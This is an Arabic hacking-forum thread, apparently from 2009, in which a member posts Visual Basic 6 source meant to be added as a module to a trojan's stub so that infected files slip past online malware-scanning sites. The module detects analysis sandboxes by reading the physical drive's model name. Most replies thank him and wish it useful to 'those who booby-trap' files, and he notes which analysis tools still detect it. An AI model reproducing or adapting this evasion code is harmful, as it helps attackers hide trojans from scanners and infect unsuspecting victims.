[BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

تم تحميل الصفحة في 1,7311967 ثانية
[BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~
الحالة
مغلق و غير مفتوح للمزيد من الردود.

Dr.AdNaN

.:: Legends DeveloPer ::.
rankrankrankrank
إنضم
26 ديسمبر 2006
المشاركات
1,797
الإعجابات
553
النقاط
113




اليــوم المفآجئـة الكبيرة ..!

كود تخـطـي موآقـع كشف التلغيـم VB6 ..!

طبـعنآ تقدر تضيـفهـ كآ موديل :15:

يعني تفتح برنآمج مفتوح المصدر وتفتح الستـب ..!

ونشوف الأتي

بـعد مآنفتحهـ نضيف موديـل كآلأتي



ثـم



نحـط الأكوآد هنـآك



الكود من هنـآ

كود:
' Translated by Dr.Adnan

Option Explicit

Private Const DFP_RECEIVE_DRIVE_DATA = &H7C088

Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const OPEN_EXISTING = 3
'Private Const CREATE_NEW = 1
Private Const CREATE_ALWAYS = 2

Private Type IDEREGS
    bFeaturesReg As Byte
    bSectorCountReg As Byte
    bSectorNumberReg As Byte
    bCylLowReg As Byte
    bCylHighReg As Byte
    bDriveHeadReg As Byte
    bCommandReg As Byte
    bReserved As Byte
End Type

Private Type SENDCMDINPARAMS
    cBufferSize As Long
    irDriveRegs As IDEREGS
    bDriveNumber As Byte
    bReserved(1 To 3) As Byte
    dwReserved(1 To 4) As Long
End Type

Private Type DRIVERSTATUS
    bDriveError As Byte
    bIDEStatus As Byte
    bReserved(1 To 2) As Byte
    dwReserved(1 To 2) As Long
End Type

Private Type SENDCMDOUTPARAMS
    cBufferSize As Long
    DStatus As DRIVERSTATUS
    bBuffer(1 To 512) As Byte
End Type


Private Declare Function CreateFileA Lib "kernel32" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function DeviceIoControl Lib "kernel32" (ByVal hDevice As Long, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, ByVal lpOverlapped As Long) As Long
Private Declare Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (dest As Any, ByVal numBytes As Long)
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private mvarCurrentDrive As Byte
Private mvarPlatform As String

Public Function GetPhysicalDriveModelName() As String

    Dim bin As SENDCMDINPARAMS
    Dim bout As SENDCMDOUTPARAMS
    Dim hdh As Long
    Dim br As Long
    Dim ix As Long
    Dim sTemp As String

    hdh = CreateFileA("\\.\PhysicalDrive0", GENERIC_READ + GENERIC_WRITE, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)
    
    ZeroMemory bin, Len(bin)
    ZeroMemory bout, Len(bout)
    
    With bin
        .bDriveNumber = mvarCurrentDrive
        .cBufferSize = 512
        With .irDriveRegs
            If (mvarCurrentDrive And 1) Then
                .bDriveHeadReg = &HB0
            Else
                .bDriveHeadReg = &HA0
            End If
            .bCommandReg = &HEC
            .bSectorCountReg = 1
            .bSectorNumberReg = 1
        End With
    End With
    
    DeviceIoControl hdh, DFP_RECEIVE_DRIVE_DATA, bin, Len(bin), bout, Len(bout), br, 0
    
    For ix = 55 To 94 Step 2
        If bout.bBuffer(ix + 1) = 0 Then Exit For
        sTemp = sTemp & Chr(bout.bBuffer(ix + 1))
        If bout.bBuffer(ix) = 0 Then Exit For
        sTemp = sTemp & Chr(bout.bBuffer(ix))
    Next ix

    CloseHandle hdh
    GetPhysicalDriveModelName = Trim(sTemp)
End Function

Public Sub PrintSandboxed(szMsg As String)
    Dim hFile As Long
    hFile = CreateFileA(szMsg, GENERIC_WRITE, 0, 0&, CREATE_ALWAYS, 0, 0&)
    CloseHandle hFile
End Sub
والتـحميل ألي مآيعرف ينـسخ :13:




الأهدآء للكـل بس فيهـ وآحد [ĶInĝ ĐĂгҚ]

يفآكـم كل ألي عندي يآعضـآء ديف بونيـت

 

Dr.viurs

ExpErt DeveloPer
rankrankrankrankrankrank
إنضم
8 نوفمبر 2006
المشاركات
4,343
الإعجابات
501
النقاط
0
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

يعطيك الف عافيه بو عدنان

ومششكور ع الكود وان شاء الله ينفع للملغميــن ياشنب
 
إنضم
24 فبراير 2008
المشاركات
432
الإعجابات
23
النقاط
0
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

عافاك ربـي ولد بو عدنان ..

عسـآك ع القوه يابطل ..



:9:
 

Dr.AdNaN

.:: Legends DeveloPer ::.
rankrankrankrank
إنضم
26 ديسمبر 2006
المشاركات
1,797
الإعجابات
553
النقاط
113
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

يعطيك الف عافيه بو عدنان

ومششكور ع الكود وان شاء الله ينفع للملغميــن ياشنب
حـيآك فيصـل

ويصلح للملغميـن في الموآقـع الغربيـة

لآني أشوفهـم يفحصونهـ بموآقـع كشف التلغيـم :15:

بس procexp + الديف فريز + الجهآز الوهمي + مسجل الرجستي

شغآليـن
 
إنضم
19 أبريل 2009
المشاركات
1,137
الإعجابات
117
النقاط
0
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

يعطيك ألعآفيهًَ وٍلـد بوٍ عدنآنَ ، وٍآصـل إًبدآعكَ يأبطـل وٍإًحلــى ـآ تقيييمَ . :32:
 

HiDROJeN

Beginner Developer
rankrankrankrank
إنضم
24 يونيو 2009
المشاركات
1,116
الإعجابات
196
النقاط
0
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

الله ينصر دينك يا بطل

بالتوفيق
 

Bin-Althani

Beginner Developer
rankrankrankrank
إنضم
25 أغسطس 2007
المشاركات
1,400
الإعجابات
95
النقاط
0
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

ابداع لمعنه الكلمه احلى تقيم

وقريب كود تخطي المواقع من نوع اخر

تشكر حبيبي على الجهوود
 
إنضم
21 يونيو 2009
المشاركات
434
الإعجابات
71
النقاط
28
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

:32:( يعطيك الف عـاافيه يـ : بو عدناَن ، وتقبل مروري وتسلم على الكـgد )
 
إنضم
13 يناير 2007
المشاركات
8,231
الإعجابات
249
النقاط
0
رد: [BooM] ~[ كـود تخـطي موآقـع كشف التلغيـم VB6 ]~

بارك الله فيك تنظيم رائع للموضوع ،،،:6:
 
إنضم
16 فبراير 2009
المشاركات
2,145
الإعجابات
489
النقاط
0
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

ان شاء الله ينفع للملغميــن
 
إنضم
30 أغسطس 2008
المشاركات
1,999
الإعجابات
114
النقاط
0
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

يعطيك الف عافية ياولد ابو عدنان ولك احلا تقيم :9:
 

Dr.AdNaN

.:: Legends DeveloPer ::.
rankrankrankrank
إنضم
26 ديسمبر 2006
المشاركات
1,797
الإعجابات
553
النقاط
113
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

حيآك ذيــب نجـد ..!

بكرة الشهآدآت :15:

إذآ طلعت زينـهـ بحـط لكـم مفآجئآت :)
 
إنضم
4 ديسمبر 2008
المشاركات
2,681
الإعجابات
123
النقاط
0
العمر
35
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

تسلم يا وحــش
ابدأإع والله احيييك على هذي الروعة يا بطل



ســـــــــــــــلأإأإمـ
 

Mr.dunhill

ExpErt DeveloPer
rankrankrankrankrankrank
إنضم
21 يونيو 2009
المشاركات
4,275
الإعجابات
384
النقاط
0
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

الله يعطيك العافيه ولاعدمناك :30:
 
إنضم
12 نوفمبر 2008
المشاركات
3,612
الإعجابات
254
النقاط
83
العمر
30
الإقامة
الكويت
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

كفؤؤؤؤ ياولد بؤ عدنان

كفيت ووفيت وشرح وافي وكافي

وعساك علي القؤه ولا هنت

وبيض الله وجهــك يالغــلأآ وماقصــرت

والله يعطيـك العافيه يابعــدي :6:
 

CREEPIE

Beginner Developer
rank
إنضم
4 أبريل 2009
المشاركات
48
الإعجابات
2
النقاط
0
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

مشكور

لكن ابي اسم البرنامج يلي نحط فيه الكود
 

Mr.Mh$TEr

ExpErt DeveloPer
rankrankrankrankrank
إنضم
14 مايو 2008
المشاركات
2,747
الإعجابات
389
النقاط
0
العمر
28
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

يعطيك العافيه يابطل ..
لاتحرمنا من جديدك يالغالي ..
وتقبل مروري ..
:32:
 

Mr.Mh$TEr

ExpErt DeveloPer
rankrankrankrankrank
إنضم
14 مايو 2008
المشاركات
2,747
الإعجابات
389
النقاط
0
العمر
28
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

مشكور

لكن ابي اسم البرنامج يلي نحط فيه الكود
يعطيك العافيه اخوي ..
اسم البرنامج فيجوال بيسك ..
اصدار vb6
تحياتي ..
:32:
 

ŋэνęя

Beginner Developer
rankrankrankrank
إنضم
5 يونيو 2009
المشاركات
1,233
الإعجابات
62
النقاط
0
رد: [BooM] ~[ كود تخطي مواقع كشف التلغيم VB6 ]~

كفووو يا شنب .. :10:
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل